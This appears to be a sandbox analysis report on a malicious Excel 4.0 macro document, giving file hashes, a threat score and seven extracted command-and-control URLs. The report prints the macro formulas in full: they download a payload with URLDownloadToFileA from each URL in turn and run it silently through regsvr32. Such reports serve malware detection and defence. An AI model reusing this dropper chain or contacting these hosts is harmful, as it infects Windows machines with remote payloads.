General

  • Target

    c8cf326961c0c2e299ea170c896b8c1a215faa477914591aad287e5b034e2255

  • Size

    33KB

  • Sample

    240909-1vhehasdjq

  • MD5

    e35c7c0f9ad7206315a8f6d48f4dd27d

  • SHA1

    69d11d92a1322a75344bb94e8b33f4b3c2ac0351

  • SHA256

    c8cf326961c0c2e299ea170c896b8c1a215faa477914591aad287e5b034e2255

  • SHA512

    1e206f9bcf1d1bf6e6f1bf1edc69ae3429f56d1e96364097f5e2289e58634c0e74c0e74e0a1ebeeadd6d9602fe8312aff44e6fa66b30eb1b4e5eea7eaf28efbf

  • SSDEEP

    768:dC43gVeEpvp96wU1+FCh+JJwthS0+i8G40ARGcEg:I430T6Z4FLLwtRFeGXg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Targets

    • Target

      c8cf326961c0c2e299ea170c896b8c1a215faa477914591aad287e5b034e2255

    • Size

      33KB

    • MD5

      e35c7c0f9ad7206315a8f6d48f4dd27d

    • SHA1

      69d11d92a1322a75344bb94e8b33f4b3c2ac0351

    • SHA256

      c8cf326961c0c2e299ea170c896b8c1a215faa477914591aad287e5b034e2255

    • SHA512

      1e206f9bcf1d1bf6e6f1bf1edc69ae3429f56d1e96364097f5e2289e58634c0e74c0e74e0a1ebeeadd6d9602fe8312aff44e6fa66b30eb1b4e5eea7eaf28efbf

    • SSDEEP

      768:dC43gVeEpvp96wU1+FCh+JJwthS0+i8G40ARGcEg:I430T6Z4FLLwtRFeGXg

    Score
    3/10

MITRE ATT&CK Enterprise v15

Tasks